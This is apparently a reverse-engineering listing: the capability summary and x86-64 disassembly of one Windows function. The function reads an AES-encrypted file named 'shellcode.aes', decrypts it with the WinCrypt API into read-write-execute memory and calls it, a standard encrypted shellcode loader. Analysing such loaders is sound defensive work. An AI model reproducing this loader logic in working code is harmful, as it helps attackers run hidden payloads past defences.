Function at 0x140001230
Capabilities:
Allocate or change rwx memory
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Execute shellcode via indirect call
Hash data via wincrypt
Initialize hashing via wincrypt
Read file on windows

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x40
lea rdx, [0x140016350]
lea rcx, str.shellcode.aes
call fcn.140003548
mov rbx, rax
test rax, rax
jne 0x140001271
lea rcx, str.Datei_konnte_nicht_geffnet_werden
call fcn.140003150
lea eax, [rbx + 1]
mov qword [0x140021a60], rbx
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call fcn.140003a84
mov rcx, rbx
call fcn.140003f80
mov rcx, rbx
mov esi, eax
call fcn.1400040ec
movsxd rdi, esi
mov rcx, rdi
call fcn.1400030ec
mov qword [0x140021a60], rax
test rax, rax
jne 0x1400012d4
lea rcx, str.Speicher_konnte_nicht_zugewiesen_werden
call fcn.140003150
mov rcx, rbx
call fcn.140003428
mov eax, 1
mov qword [0x140021a60], 0
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call fcn.1400037b4
cmp rax, rdi
je 0x140001306
lea rcx, str.Fehler_beim_Lesen_der_Datei
call fcn.140003150
mov rcx, qword [0x140021a60]
call fcn.1400030d8
jmp 0x1400012b4
mov rcx, rbx
call fcn.140003428
cmp qword [0x140021a60], 0
je 0x140001343
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x140001350
lea rcx, str.VirtualAlloc_fehlgeschlagen
call fcn.140003150
mov eax, 1
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret
mov qword [rsp + 0x38], rbp
lea rcx, [rsp + 0x68]
mov rbp, qword [0x140021a60]
mov r9d, 0x18
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140001487
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140001487
mov rcx, qword [rsp + 0x70]
lea rdx, section..data
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x140001487
mov r8, qword [rsp + 0x70]
lea rax, [rsp + 0x78]
mov rcx, qword [rsp + 0x68]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x140001487
mov rcx, qword [rsp + 0x78]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbp
xor edx, edx
mov dword [rsp + 0x60], esi
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x140001487
mov rcx, qword [rsp + 0x68]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
lea rcx, str.shellcode_should_be_decrypted_now___press_any_key...:
call fcn.1400014c0
call fcn.1400040d4
mov rdx, qword [0x140021a60]
mov r8, rsi
mov rcx, rbx
call fcn.140001f70
lea rcx, str.execute_the_shellcode___press_any_key...:
call fcn.1400014c0
call fcn.1400040d4
call rbx
mov rbp, qword [rsp + 0x38]
xor eax, eax
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret
lea rcx, str.Fehler_bei_der_Entschlsselung
call fcn.140003150
mov rbp, qword [rsp + 0x38]
mov eax, 1
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret